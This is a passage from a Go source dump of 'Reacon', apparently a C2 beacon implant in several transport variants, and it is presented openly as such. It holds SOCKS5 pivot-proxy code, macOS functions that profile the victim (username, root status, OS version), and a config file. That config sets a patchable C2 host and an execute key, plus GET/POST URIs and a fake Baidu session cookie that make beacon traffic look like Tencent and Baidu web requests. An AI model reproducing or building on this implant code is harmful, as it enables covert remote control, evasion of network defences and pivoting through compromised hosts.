32 | return fmt.Errorf("failed to send reply, %v", err)
33 | }
34 | return fmt.Errorf("unrecognized command[%d]", request.Request.Command)
35 | }
36 |
37 | //request.AuthContext = authContext
38 | request.LocalAddr = conn.LocalAddr()
39 | request.RemoteAddr = conn.RemoteAddr()
40 | // Process the client request
41 | return handleRequest(conn, request)
42 | }
43 |
--------------------------------------------------------------------------------
/Reacon_tcp/pkg/services/proxy/server.go:
--------------------------------------------------------------------------------
1 | package Proxy
2 |
3 | import (
4 | "bufio"
5 | "errors"
6 | "fmt"
7 | "net"
8 |
9 | "Reacon/pkg/services/proxy/statute"
10 | )
11 |
12 | // ServeConn is used to serve a single connection.
13 | func ServeConn(conn net.Conn) error {
14 | defer conn.Close()
15 | bufConn := bufio.NewReader(conn)
16 |
17 | // The client request detail
18 | request, err := ParseRequest(bufConn)
19 | if err != nil {
20 | if errors.Is(err, statute.ErrUnrecognizedAddrType) {
21 | if err := SendReply(conn, statute.RepAddrTypeNotSupported, nil); err != nil {
22 | return fmt.Errorf("failed to send reply %w", err)
23 | }
24 | }
25 | return fmt.Errorf("failed to read destination address, %w", err)
26 | }
27 |
28 | if request.Request.Command != statute.CommandConnect &&
29 | request.Request.Command != statute.CommandBind &&
30 | request.Request.Command != statute.CommandAssociate {
31 | if err := SendReply(conn, statute.RepCommandNotSupported, nil); err != nil {
32 | return fmt.Errorf("failed to send reply, %v", err)
33 | }
34 | return fmt.Errorf("unrecognized command[%d]", request.Request.Command)
35 | }
36 |
37 | //request.AuthContext = authContext
38 | request.LocalAddr = conn.LocalAddr()
39 | request.RemoteAddr = conn.RemoteAddr()
40 | // Process the client request
41 | return handleRequest(conn, request)
42 | }
43 |
--------------------------------------------------------------------------------
/Reacon_websocket/pkg/services/proxy/server.go:
--------------------------------------------------------------------------------
1 | package Proxy
2 |
3 | import (
4 | "bufio"
5 | "errors"
6 | "fmt"
7 | "net"
8 |
9 | "Reacon/pkg/services/proxy/statute"
10 | )
11 |
12 | // ServeConn is used to serve a single connection.
13 | func ServeConn(conn net.Conn) error {
14 | defer conn.Close()
15 | bufConn := bufio.NewReader(conn)
16 |
17 | // The client request detail
18 | request, err := ParseRequest(bufConn)
19 | if err != nil {
20 | if errors.Is(err, statute.ErrUnrecognizedAddrType) {
21 | if err := SendReply(conn, statute.RepAddrTypeNotSupported, nil); err != nil {
22 | return fmt.Errorf("failed to send reply %w", err)
23 | }
24 | }
25 | return fmt.Errorf("failed to read destination address, %w", err)
26 | }
27 |
28 | if request.Request.Command != statute.CommandConnect &&
29 | request.Request.Command != statute.CommandBind &&
30 | request.Request.Command != statute.CommandAssociate {
31 | if err := SendReply(conn, statute.RepCommandNotSupported, nil); err != nil {
32 | return fmt.Errorf("failed to send reply, %v", err)
33 | }
34 | return fmt.Errorf("unrecognized command[%d]", request.Request.Command)
35 | }
36 |
37 | //request.AuthContext = authContext
38 | request.LocalAddr = conn.LocalAddr()
39 | request.RemoteAddr = conn.RemoteAddr()
40 | // Process the client request
41 | return handleRequest(conn, request)
42 | }
43 |
--------------------------------------------------------------------------------
/Reacon_http/pkg/config/config.go:
--------------------------------------------------------------------------------
1 | package config
2 |
3 | import (
4 | "strings"
5 | "time"
6 | )
7 |
8 | var (
9 | //C2 = "https://gin-tne-fahcesmukw.cn-hangzhou.fcapp.run"
10 | //C2 = "http://***.***.***.***:************************************************"
11 | host = "HOSTAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
12 | C2 = "http://" + strings.ReplaceAll(host, " ", "")
13 | //C2 = "http://127.0.0.1:8080"
14 | pass = "PASSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
15 | ExecuteKey = strings.ReplaceAll(pass, " ", "")
16 | Http_get_metadata_prepend = "BDUSS=mVwMHZ3dWNSajdVVXZtdi0yb3J4ZTJrb0NCcU1ObzRac1p6TFc1NUlwUnVpRlJtRVFBQUFBJCQAAAAAAAAAAAEAAAD94hH41~PB-sSkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAG77LGZu-yxmS; BDUSS_BFESS=mVwMHZ3dWNSajdVVXZtdi0yb3J4ZTJrb0NCcU1ObzRac1p6TFc1NUlwUnVpRlJtRVFBQUFBJCQAAAAAAAAAAAEAAAD94hH41~PB-sSkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAG77LGZu-yxmS;SESSIONID=" // 每个http get 请求发送的数据前添加的字符串
17 |
18 | Http_post_client_output_type_value = "X-AUTH"
19 |
20 | GetUrl = strings.TrimRight(C2, " ") + Http_get_uri
21 | PostUrl = strings.TrimRight(C2, " ") + Http_post_uri
22 |
23 | Http_get_uri = "/tencent/mcp/pc/pcsearch"
24 | Http_post_uri = "/tencent/sensearch/collection/item/check"
25 |
26 | WaitTime = 5000 * time.Millisecond
27 | )
28 |
--------------------------------------------------------------------------------
/Reacon_http/pkg/services/proxy/statute/statute.go:
--------------------------------------------------------------------------------
1 | package statute
2 |
3 | import (
4 | "errors"
5 | )
6 |
7 | // VersionSocks5 socks protocol version
8 | const VersionSocks5 = byte(0x05)
9 |
10 | // request command defined
11 | const (
12 | CommandConnect = byte(0x01)
13 | CommandBind = byte(0x02)
14 | CommandAssociate = byte(0x03)
15 | )
16 |
17 | // method defined
18 | const (
19 | MethodNoAuth = byte(0x00)
20 | MethodGSSAPI = byte(0x01) // TODO: not support now
21 | MethodUserPassAuth = byte(0x02)
22 | MethodNoAcceptable = byte(0xff)
23 | )
24 |
25 | // address type defined
26 | const (
27 | ATYPIPv4 = byte(0x01)
28 | ATYPDomain = byte(0x03)
29 | ATYPIPv6 = byte(0x04)
30 | )
31 |
32 | // reply status
33 | const (
34 | RepSuccess uint8 = iota
35 | RepServerFailure
36 | RepRuleFailure
37 | RepNetworkUnreachable
38 | RepHostUnreachable
39 | RepConnectionRefused
40 | RepTTLExpired
41 | RepCommandNotSupported
42 | RepAddrTypeNotSupported
43 | // 0x09 - 0xff unassigned
44 | )
45 |
46 | // auth defined
47 | const (
48 | // user password version
49 | UserPassAuthVersion = byte(0x01)
50 | // auth status
51 | AuthSuccess = byte(0x00)
52 | AuthFailure = byte(0x01)
53 | )
54 |
55 | // error defined
56 | var (
57 | ErrUnrecognizedAddrType = errors.New("unrecognized address type")
58 | ErrNotSupportVersion = errors.New("not support version")
59 | ErrNotSupportMethod = errors.New("not support method")
60 | )
61 |
--------------------------------------------------------------------------------
/Reacon_kcp/pkg/services/proxy/statute/statute.go:
--------------------------------------------------------------------------------
1 | package statute
2 |
3 | import (
4 | "errors"
5 | )
6 |
7 | // VersionSocks5 socks protocol version
8 | const VersionSocks5 = byte(0x05)
9 |
10 | // request command defined
11 | const (
12 | CommandConnect = byte(0x01)
13 | CommandBind = byte(0x02)
14 | CommandAssociate = byte(0x03)
15 | )
16 |
17 | // method defined
18 | const (
19 | MethodNoAuth = byte(0x00)
20 | MethodGSSAPI = byte(0x01) // TODO: not support now
21 | MethodUserPassAuth = byte(0x02)
22 | MethodNoAcceptable = byte(0xff)
23 | )
24 |
25 | // address type defined
26 | const (
27 | ATYPIPv4 = byte(0x01)
28 | ATYPDomain = byte(0x03)
29 | ATYPIPv6 = byte(0x04)
30 | )
31 |
32 | // reply status
33 | const (
34 | RepSuccess uint8 = iota
35 | RepServerFailure
36 | RepRuleFailure
37 | RepNetworkUnreachable
38 | RepHostUnreachable
39 | RepConnectionRefused
40 | RepTTLExpired
41 | RepCommandNotSupported
42 | RepAddrTypeNotSupported
43 | // 0x09 - 0xff unassigned
44 | )
45 |
46 | // auth defined
47 | const (
48 | // user password version
49 | UserPassAuthVersion = byte(0x01)
50 | // auth status
51 | AuthSuccess = byte(0x00)
52 | AuthFailure = byte(0x01)
53 | )
54 |
55 | // error defined
56 | var (
57 | ErrUnrecognizedAddrType = errors.New("unrecognized address type")
58 | ErrNotSupportVersion = errors.New("not support version")
59 | ErrNotSupportMethod = errors.New("not support method")
60 | )
61 |
--------------------------------------------------------------------------------
/Reacon_oss/pkg/services/proxy/statute/statute.go:
--------------------------------------------------------------------------------
1 | package statute
2 |
3 | import (
4 | "errors"
5 | )
6 |
7 | // VersionSocks5 socks protocol version
8 | const VersionSocks5 = byte(0x05)
9 |
10 | // request command defined
11 | const (
12 | CommandConnect = byte(0x01)
13 | CommandBind = byte(0x02)
14 | CommandAssociate = byte(0x03)
15 | )
16 |
17 | // method defined
18 | const (
19 | MethodNoAuth = byte(0x00)
20 | MethodGSSAPI = byte(0x01) // TODO: not support now
21 | MethodUserPassAuth = byte(0x02)
22 | MethodNoAcceptable = byte(0xff)
23 | )
24 |
25 | // address type defined
26 | const (
27 | ATYPIPv4 = byte(0x01)
28 | ATYPDomain = byte(0x03)
29 | ATYPIPv6 = byte(0x04)
30 | )
31 |
32 | // reply status
33 | const (
34 | RepSuccess uint8 = iota
35 | RepServerFailure
36 | RepRuleFailure
37 | RepNetworkUnreachable
38 | RepHostUnreachable
39 | RepConnectionRefused
40 | RepTTLExpired
41 | RepCommandNotSupported
42 | RepAddrTypeNotSupported
43 | // 0x09 - 0xff unassigned
44 | )
45 |
46 | // auth defined
47 | const (
48 | // user password version
49 | UserPassAuthVersion = byte(0x01)
50 | // auth status
51 | AuthSuccess = byte(0x00)
52 | AuthFailure = byte(0x01)
53 | )
54 |
55 | // error defined
56 | var (
57 | ErrUnrecognizedAddrType = errors.New("unrecognized address type")
58 | ErrNotSupportVersion = errors.New("not support version")
59 | ErrNotSupportMethod = errors.New("not support method")
60 | )
61 |
--------------------------------------------------------------------------------
/Reacon_tcp/pkg/services/proxy/statute/statute.go:
--------------------------------------------------------------------------------
1 | package statute
2 |
3 | import (
4 | "errors"
5 | )
6 |
7 | // VersionSocks5 socks protocol version
8 | const VersionSocks5 = byte(0x05)
9 |
10 | // request command defined
11 | const (
12 | CommandConnect = byte(0x01)
13 | CommandBind = byte(0x02)
14 | CommandAssociate = byte(0x03)
15 | )
16 |
17 | // method defined
18 | const (
19 | MethodNoAuth = byte(0x00)
20 | MethodGSSAPI = byte(0x01) // TODO: not support now
21 | MethodUserPassAuth = byte(0x02)
22 | MethodNoAcceptable = byte(0xff)
23 | )
24 |
25 | // address type defined
26 | const (
27 | ATYPIPv4 = byte(0x01)
28 | ATYPDomain = byte(0x03)
29 | ATYPIPv6 = byte(0x04)
30 | )
31 |
32 | // reply status
33 | const (
34 | RepSuccess uint8 = iota
35 | RepServerFailure
36 | RepRuleFailure
37 | RepNetworkUnreachable
38 | RepHostUnreachable
39 | RepConnectionRefused
40 | RepTTLExpired
41 | RepCommandNotSupported
42 | RepAddrTypeNotSupported
43 | // 0x09 - 0xff unassigned
44 | )
45 |
46 | // auth defined
47 | const (
48 | // user password version
49 | UserPassAuthVersion = byte(0x01)
50 | // auth status
51 | AuthSuccess = byte(0x00)
52 | AuthFailure = byte(0x01)
53 | )
54 |
55 | // error defined
56 | var (
57 | ErrUnrecognizedAddrType = errors.New("unrecognized address type")
58 | ErrNotSupportVersion = errors.New("not support version")
59 | ErrNotSupportMethod = errors.New("not support method")
60 | )
61 |
--------------------------------------------------------------------------------
/Reacon_websocket/pkg/services/proxy/statute/statute.go:
--------------------------------------------------------------------------------
1 | package statute
2 |
3 | import (
4 | "errors"
5 | )
6 |
7 | // VersionSocks5 socks protocol version
8 | const VersionSocks5 = byte(0x05)
9 |
10 | // request command defined
11 | const (
12 | CommandConnect = byte(0x01)
13 | CommandBind = byte(0x02)
14 | CommandAssociate = byte(0x03)
15 | )
16 |
17 | // method defined
18 | const (
19 | MethodNoAuth = byte(0x00)
20 | MethodGSSAPI = byte(0x01) // TODO: not support now
21 | MethodUserPassAuth = byte(0x02)
22 | MethodNoAcceptable = byte(0xff)
23 | )
24 |
25 | // address type defined
26 | const (
27 | ATYPIPv4 = byte(0x01)
28 | ATYPDomain = byte(0x03)
29 | ATYPIPv6 = byte(0x04)
30 | )
31 |
32 | // reply status
33 | const (
34 | RepSuccess uint8 = iota
35 | RepServerFailure
36 | RepRuleFailure
37 | RepNetworkUnreachable
38 | RepHostUnreachable
39 | RepConnectionRefused
40 | RepTTLExpired
41 | RepCommandNotSupported
42 | RepAddrTypeNotSupported
43 | // 0x09 - 0xff unassigned
44 | )
45 |
46 | // auth defined
47 | const (
48 | // user password version
49 | UserPassAuthVersion = byte(0x01)
50 | // auth status
51 | AuthSuccess = byte(0x00)
52 | AuthFailure = byte(0x01)
53 | )
54 |
55 | // error defined
56 | var (
57 | ErrUnrecognizedAddrType = errors.New("unrecognized address type")
58 | ErrNotSupportVersion = errors.New("not support version")
59 | ErrNotSupportMethod = errors.New("not support method")
60 | )
61 |
--------------------------------------------------------------------------------
/Reacon_http/pkg/sysinfo/sysinfo_darwin.go:
--------------------------------------------------------------------------------
1 | //go:build darwin
2 |
3 | package sysinfo
4 |
5 | import (
6 | "bytes"
7 | "encoding/binary"
8 | "os"
9 | "os/exec"
10 | "os/user"
11 | )
12 |
13 | func GetOSVersion() (string, error) {
14 | cmd := exec.Command("sw_vers", "-productVersion")
15 | out, _ := cmd.CombinedOutput()
16 | return string(out[:]), nil
17 | }
18 |
19 | func IsHighPriv() bool {
20 | if os.Getuid() == 0 {
21 | return true
22 | }
23 | return false
24 | }
25 |
26 | func IsOSX64() (bool, error) {
27 | cmd := exec.Command("sysctl", "hw.cpu64bit_capable")
28 | out, _ := cmd.CombinedOutput()
29 | out = bytes.ReplaceAll(out, []byte("hw.cpu64bit_capable: "), []byte(""))
30 | if string(out) == "1" {
31 | return true, nil
32 | }
33 | return false, nil
34 | }
35 |
36 | func GetCodePageANSI() ([]byte, error) {
37 | // darwin use utf8(I guess)
38 | b := make([]byte, 2)
39 | binary.LittleEndian.PutUint16(b, 65001)
40 | return b, nil
41 | }
42 |
43 | func GetCodePageOEM() ([]byte, error) {
44 | //use utf8
45 | b := make([]byte, 2)
46 | binary.LittleEndian.PutUint16(b, 65001)
47 | return b, nil
48 | }
49 |
50 | func GetUsername() (string, error) {
51 | user, err := user.Current()
52 | if err != nil {
53 | return "", nil
54 | }
55 | usr := user.Username
56 | return usr, nil
57 | }
58 |
59 | func IsPidX64(pid uint32) (bool, error) {
60 | /*is64 := false
61 |
62 | hProcess, err := windows.OpenProcess(uint32(0x1000), false, pid)
63 | if err != nil {
64 | return IsProcessX64()
65 | }
66 |
67 | _ = windows.IsWow64Process(hProcess, &is64)*/
68 |
69 | return true, nil
70 | }
71 |
72 | // return 0
73 | func GetProcessSessionId(pid int32) uint32 {
74 | return 0
75 | }
76 |
--------------------------------------------------------------------------------
/Reacon_kcp/pkg/sysinfo/sysinfo_darwin.go:
--------------------------------------------------------------------------------
1 | //go:build darwin
2 |
3 | package sysinfo
4 |
5 | import (
6 | "bytes"
7 | "encoding/binary"
8 | "os"
9 | "os/exec"
10 | "os/user"
11 | )
12 |
13 | func GetOSVersion() (string, error) {
14 | cmd := exec.Command("sw_vers", "-productVersion")
15 | out, _ := cmd.CombinedOutput()
16 | return string(out[:]), nil
17 | }
18 |
19 | func IsHighPriv() bool {
20 | if os.Getuid() == 0 {
21 | return true
22 | }
23 | return false
24 | }
25 |
26 | func IsOSX64() (bool, error) {
27 | cmd := exec.Command("sysctl", "hw.cpu64bit_capable")
28 | out, _ := cmd.CombinedOutput()
29 | out = bytes.ReplaceAll(out, []byte("hw.cpu64bit_capable: "), []byte(""))
30 | if string(out) == "1" {
31 | return true, nil
32 | }
33 | return false, nil
34 | }
35 |
36 | func GetCodePageANSI() ([]byte, error) {
37 | // darwin use utf8(I guess)
38 | b := make([]byte, 2)
39 | binary.LittleEndian.PutUint16(b, 65001)
40 | return b, nil
41 | }
42 |
43 | func GetCodePageOEM() ([]byte, error) {
44 | //use utf8
45 | b := make([]byte, 2)
46 | binary.LittleEndian.PutUint16(b, 65001)
47 | return b, nil
48 | }
49 |
50 | func GetUsername() (string, error) {
51 | user, err := user.Current()
52 | if err != nil {
53 | return "", nil
54 | }
55 | usr := user.Username
56 | return usr, nil
57 | }
58 |
59 | func IsPidX64(pid uint32) (bool, error) {
60 | /*is64 := false
61 |
62 | hProcess, err := windows.OpenProcess(uint32(0x1000), false, pid)
63 | if err != nil {
64 | return IsProcessX64()
65 | }
66 |
67 | _ = windows.IsWow64Process(hProcess, &is64)*/
68 |
69 | return true, nil
70 | }
71 |
72 | // return 0
73 | func GetProcessSessionId(pid int32) uint32 {
74 | return 0
75 | }
76 |
--------------------------------------------------------------------------------
/Reacon_oss/pkg/sysinfo/sysinfo_darwin.go:
--------------------------------------------------------------------------------
1 | //go:build darwin
2 |
3 | package sysinfo
4 |
5 | import (
6 | "bytes"
7 | "encoding/binary"
8 | "os"
9 | "os/exec"
10 | "os/user"
11 | )
12 |
13 | func GetOSVersion() (string, error) {
14 | cmd := exec.Command("sw_vers", "-productVersion")
15 | out, _ := cmd.CombinedOutput()
16 | return string(out[:]), nil
17 | }
18 |
19 | func IsHighPriv() bool {
20 | if os.Getuid() == 0 {
21 | return true
22 | }
23 | return false
24 | }
25 |
26 | func IsOSX64() (bool, error) {
27 | cmd := exec.Command("sysctl", "hw.cpu64bit_capable")
28 | out, _ := cmd.CombinedOutput()
29 | out = bytes.ReplaceAll(out, []byte("hw.cpu64bit_capable: "), []byte(""))
30 | if string(out) == "1" {
31 | return true, nil
32 | }
33 | return false, nil
34 | }
35 |
36 | func GetCodePageANSI() ([]byte, error) {
37 | // darwin use utf8(I guess)
38 | b := make([]byte, 2)
39 | binary.LittleEndian.PutUint16(b, 65001)
40 | return b, nil
41 | }
42 |
43 | func GetCodePageOEM() ([]byte, error) {
44 | //use utf8
45 | b := make([]byte, 2)
46 | binary.LittleEndian.PutUint16(b, 65001)
47 | return b, nil
48 | }
49 |
50 | func GetUsername() (string, error) {
51 | user, err := user.Current()
52 | if err != nil {
53 | return "", nil
54 | }
55 | usr := user.Username
56 | return usr, nil
57 | }
58 |
59 | func IsPidX64(pid uint32) (bool, error) {
60 | /*is64 := false
61 |
62 | hProcess, err := windows.OpenProcess(uint32(0x1000), false, pid)
63 | if err != nil {
64 | return IsProcessX64()
65 | }
66 |
67 | _ = windows.IsWow64Process(hProcess, &is64)*/
68 |
69 | return true, nil
70 | }
71 |
72 | // return 0
73 | func GetProcessSessionId(pid int32) uint32 {
74 | return 0
75 | }
76 |
--------------------------------------------------------------------------------
/Reacon_tcp/pkg/sysinfo/sysinfo_darwin.go:
--------------------------------------------------------------------------------
1 | //go:build darwin
2 |
3 | package sysinfo
4 |
5 | import (
6 | "bytes"
7 | "encoding/binary"
8 | "os"
9 | "os/exec"
10 | "os/user"
11 | )
12 |
13 | func GetOSVersion() (string, error) {
14 | cmd := exec.Command("sw_vers", "-productVersion")
15 | out, _ := cmd.CombinedOutput()
16 | return string(out[:]), nil
17 | }
18 |
19 | func IsHighPriv() bool {
20 | if os.Getuid() == 0 {
21 | return true
22 | }
23 | return false
24 | }
25 |
26 | func IsOSX64() (bool, error) {
27 | cmd := exec.Command("sysctl", "hw.cpu64bit_capable")
28 | out, _ := cmd.CombinedOutput()
29 | out = bytes.ReplaceAll(out, []byte("hw.cpu64bit_capable: "), []byte(""))
30 | if string(out) == "1" {
31 | return true, nil
32 | }
33 | return false, nil
34 | }
35 |
36 | func GetCodePageANSI() ([]byte, error) {
37 | // darwin use utf8(I guess)
38 | b := make([]byte, 2)
39 | binary.LittleEndian.PutUint16(b, 65001)
40 | return b, nil
41 | }
42 |
43 | func GetCodePageOEM() ([]byte, error) {
44 | //use utf8
45 | b := make([]byte, 2)
46 | binary.LittleEndian.PutUint16(b, 65001)
47 | return b, nil
48 | }
49 |
50 | func GetUsername() (string, error) {
51 | user, err := user.Current()
52 | if err != nil {
53 | return "", nil
54 | }
55 | usr := user.Username
56 | return usr, nil
57 | }
58 |
59 | func IsPidX64(pid uint32) (bool, error) {
60 | /*is64 := false
61 |
62 | hProcess, err := windows.OpenProcess(uint32(0x1000), false, pid)
63 | if err != nil {
64 | return IsProcessX64()
65 | }
66 |
67 | _ = windows.IsWow64Process(hProcess, &is64)*/
68 |
69 | return true, nil
70 | }
71 |
72 | // return 0
73 | func GetProcessSessionId(pid int32) uint32 {
74 | return 0
75 | }
76 |
--------------------------------------------------------------------------------
/Reacon_websocket/pkg/sysinfo/sysinfo_darwin.go:
--------------------------------------------------------------------------------
1 | //go:build darwin
2 |
3 | package sysinfo
4 |
5 | import (
6 | "bytes"
7 | "encoding/binary"
8 | "os"
9 | "os/exec"
10 | "os/user"
11 | )
12 |
13 | func GetOSVersion() (string, error) {
14 | cmd := exec.Command("sw_vers", "-productVersion")
15 | out, _ := cmd.CombinedOutput()
16 | return string(out[:]), nil
17 | }
18 |
19 | func IsHighPriv() bool {
20 | if os.Getuid() == 0 {
21 | return true
22 | }
23 | return false
24 | }
25 |
26 | func IsOSX64() (bool, error) {
27 | cmd := exec.Command("sysctl", "hw.cpu64bit_capable")
28 | out, _ := cmd.CombinedOutput()
29 | out = bytes.ReplaceAll(out, []byte("hw.cpu64bit_capable: "), []byte(""))
30 | if string(out) == "1" {
31 | return true, nil
32 | }
33 | return false, nil
34 | }
35 |
36 | func GetCodePageANSI() ([]byte, error) {
37 | // darwin use utf8(I guess)
38 | b := make([]byte, 2)
39 | binary.LittleEndian.PutUint16(b, 65001)
40 | return b, nil
41 | }
42 |
43 | func GetCodePageOEM() ([]byte, error) {
44 | //use utf8
45 | b := make([]byte, 2)
46 | binary.LittleEndian.PutUint16(b, 65001)
47 | return b, nil
48 | }
49 |
50 | func GetUsername() (string, error) {
51 | user, err := user.Current()
52 | if err != nil {
53 | return "", nil
54 | }
55 | usr := user.Username
56 | return usr, nil
57 | }
58 |
59 | func IsPidX64(pid uint32) (bool, error) {
60 | /*is64 := false
61 |
62 | hProcess, err := windows.OpenProcess(uint32(0x1000), false, pid)
63 | if err != nil {
64 | return IsProcessX64()
65 | }
66 |
67 | _ = windows.IsWow64Process(hProcess, &is64)*/
68 |
69 | return true, nil
70 | }
71 |
72 | // return 0
73 | func GetProcessSessionId(pid int32) uint32 {
74 | return 0
75 | }
76 |
--------------------------------------------------------------------------------
/Reacon_http/pkg/services/proxy/statute/addr.go:
--------------------------------------------------------------------------------
1 | package statute
2 |
3 | import (
4 | "fmt"
5 | "net"
6 | "strconv"
7 | )
8 |
9 | // AddrSpec is used to return the target AddrSpec
10 | // which may be specified as IPv4, IPv6, or a FQDN
11 | type AddrSpec struct {
12 | FQDN string
13 | IP net.IP
14 | Port int
15 | // private stuff set when Request parsed
16 | AddrType byte
17 | }
18 |
19 | // String returns a string suitable to dial; prefer returning IP-based
20 | // address, fallback to FQDN
21 | func (sf *AddrSpec) String() string {
22 | if len(sf.IP) != 0 {
23 | return net.JoinHostPort(sf.IP.String(), strconv.Itoa(sf.Port))
24 | }
25 | return net.JoinHostPort(sf.FQDN, strconv.Itoa(sf.Port))
26 | }
27 |
28 | // Address returns a string which may be specified
29 | // if IPv4/IPv6 will return < ip:port >
30 | // if FQDN will return < domain ip:port >
31 | // Note: do not used to dial, Please use String
32 | func (sf AddrSpec) Address() string {
33 | if sf.FQDN != "" {
34 | return fmt.Sprintf("%s (%s):%d", sf.FQDN, sf.IP, sf.Port)
35 | }
36 | return fmt.Sprintf("%s:%d", sf.IP, sf.Port)
37 | }
38 |
39 | // ParseAddrSpec parse addr(host:port) to the AddrSpec address
40 | func ParseAddrSpec(addr string) (as AddrSpec, err error) {
41 | var host, port string
42 |
43 | host, port, err = net.SplitHostPort(addr)
44 | if err != nil {
45 | return
46 | }
47 | as.Port, err = strconv.Atoi(port)
48 | if err != nil {
49 | return
50 | }
51 |
52 | ip := net.ParseIP(host)
53 | if ip4 := ip.To4(); ip4 != nil {
54 | as.AddrType, as.IP = ATYPIPv4, ip
55 | } else if ip6 := ip.To16(); ip6 != nil {
56 | as.AddrType, as.IP = ATYPIPv6, ip
57 | } else {
58 | as.AddrType, as.FQDN = ATYPDomain, host
59 | }
60 | return
61 | }
62 |
--------------------------------------------------------------------------------
/Reacon_kcp/pkg/services/proxy/statute/addr.go:
--------------------------------------------------------------------------------
1 | package statute
2 |
3 | import (
4 | "fmt"
5 | "net"
6 | "strconv"
7 | )
8 |
9 | // AddrSpec is used to return the target AddrSpec
10 | // which may be specified as IPv4, IPv6, or a FQDN
11 | type AddrSpec struct {
12 | FQDN string
13 | IP net.IP
14 | Port int
15 | // private stuff set when Request parsed
16 | AddrType byte
17 | }
18 |
19 | // String returns a string suitable to dial; prefer returning IP-based
20 | // address, fallback to FQDN
21 | func (sf *AddrSpec) String() string {
22 | if len(sf.IP) != 0 {
23 | return net.JoinHostPort(sf.IP.String(), strconv.Itoa(sf.Port))
24 | }
25 | return net.JoinHostPort(sf.FQDN, strconv.Itoa(sf.Port))
26 | }
27 |
28 | // Address returns a string which may be specified
29 | // if IPv4/IPv6 will return < ip:port >
30 | // if FQDN will return < domain ip:port >
31 | // Note: do not used to dial, Please use String
32 | func (sf AddrSpec) Address() string {
33 | if sf.FQDN != "" {
34 | return fmt.Sprintf("%s (%s):%d", sf.FQDN, sf.IP, sf.Port)
35 | }
36 | return fmt.Sprintf("%s:%d", sf.IP, sf.Port)
37 | }
38 |
39 | // ParseAddrSpec parse addr(host:port) to the AddrSpec address
40 | func ParseAddrSpec(addr string) (as AddrSpec, err error) {
41 | var host, port string
42 |
43 | host, port, err = net.SplitHostPort(addr)
44 | if err != nil {
45 | return
46 | }
47 | as.Port, err = strconv.Atoi(port)
48 | if err != nil {
49 | return
50 | }
51 |
52 | ip := net.ParseIP(host)
53 | if ip4 := ip.To4(); ip4 != nil {
54 | as.AddrType, as.IP = ATYPIPv4, ip
55 | } else if ip6 := ip.To16(); ip6 != nil {
56 | as.AddrType, as.IP = ATYPIPv6, ip
57 | } else {
58 | as.AddrType, as.FQDN = ATYPDomain, host
59 | }
60 | return
61 | }
62 |
--------------------------------------------------------------------------------
/Reacon_oss/pkg/services/proxy/statute/addr.go:
--------------------------------------------------------------------------------
1 | package statute
2 |
3 | import (
4 | "fmt"
5 | "net"
6 | "strconv"
7 | )
8 |
9 | // AddrSpec is used to return the target AddrSpec
10 | // which may be specified as IPv4, IPv6, or a FQDN
11 | type AddrSpec struct {
12 | FQDN string
13 | IP net.IP
14 | Port int
15 | // private stuff set when Request parsed
16 | AddrType byte
17 | }
18 |
19 | // String returns a string suitable to dial; prefer returning IP-based
20 | // address, fallback to FQDN
21 | func (sf *AddrSpec) String() string {
22 | if len(sf.IP) != 0 {
23 | return net.JoinHostPort(sf.IP.String(), strconv.Itoa(sf.Port))
24 | }
25 | return net.JoinHostPort(sf.FQDN, strconv.Itoa(sf.Port))
26 | }
27 |
28 | // Address returns a string which may be specified
29 | // if IPv4/IPv6 will return < ip:port >
30 | // if FQDN will return < domain ip:port >
31 | // Note: do not used to dial, Please use String
32 | func (sf AddrSpec) Address() string {
33 | if sf.FQDN != "" {
34 | return fmt.Sprintf("%s (%s):%d", sf.FQDN, sf.IP, sf.Port)
35 | }
36 | return fmt.Sprintf("%s:%d", sf.IP, sf.Port)
37 | }
38 |
39 | // ParseAddrSpec parse addr(host:port) to the AddrSpec address
40 | func ParseAddrSpec(addr string) (as AddrSpec, err error) {
41 | var host, port string
42 |
43 | host, port, err = net.SplitHostPort(addr)
44 | if err != nil {
45 | return
46 | }
47 | as.Port, err = strconv.Atoi(port)
48 | if err != nil {
49 | return
50 | }
51 |
52 | ip := net.ParseIP(host)
53 | if ip4 := ip.To4(); ip4 != nil {
54 | as.AddrType, as.IP = ATYPIPv4, ip
55 | } else if ip6 := ip.To16(); ip6 != nil {
56 | as.AddrType, as.IP = ATYPIPv6, ip
57 | } else {
58 | as.AddrType, as.FQDN = ATYPDomain, host
59 | }
60 | return
61 | }
62 |
--------------------------------------------------------------------------------
/Reacon_tcp/pkg/services/proxy/statute/addr.go:
--------------------------------------------------------------------------------
1 | package statute
2 |
3 | import (
4 | "fmt"
5 | "net"
6 | "strconv"
7 | )
8 |
9 | // AddrSpec is used to return the target AddrSpec
10 | // which may be specified as IPv4, IPv6, or a FQDN
11 | type AddrSpec struct {
12 | FQDN string
13 | IP net.IP
14 | Port int
15 | // private stuff set when Request parsed
16 | AddrType byte
17 | }
18 |
19 | // String returns a string suitable to dial; prefer returning IP-based
20 | // address, fallback to FQDN
21 | func (sf *AddrSpec) String() string {
22 | if len(sf.IP) != 0 {
23 | return net.JoinHostPort(sf.IP.String(), strconv.Itoa(sf.Port))
24 | }
25 | return net.JoinHostPort(sf.FQDN, strconv.Itoa(sf.Port))
26 | }
27 |
28 | // Address returns a string which may be specified
29 | // if IPv4/IPv6 will return < ip:port >
30 | // if FQDN will return < domain ip:port >
31 | // Note: do not used to dial, Please use String
32 | func (sf AddrSpec) Address() string {
33 | if sf.FQDN != "" {
34 | return fmt.Sprintf("%s (%s):%d", sf.FQDN, sf.IP, sf.Port)
35 | }
36 | return fmt.Sprintf("%s:%d", sf.IP, sf.Port)
37 | }
38 |
39 | // ParseAddrSpec parse addr(host:port) to the AddrSpec address
40 | func ParseAddrSpec(addr string) (as AddrSpec, err error) {
41 | var host, port string
42 |
43 | host, port, err = net.SplitHostPort(addr)
44 | if err != nil {
45 | return
46 | }
47 | as.Port, err = strconv.Atoi(port)
48 | if err != nil {
49 | return
50 | }
51 |
52 | ip := net.ParseIP(host)
53 | if ip4 := ip.To4(); ip4 != nil {
54 | as.AddrType, as.IP = ATYPIPv4, ip
55 | } else if ip6 := ip.To16(); ip6 != nil {
56 | as.AddrType, as.IP = ATYPIPv6, ip
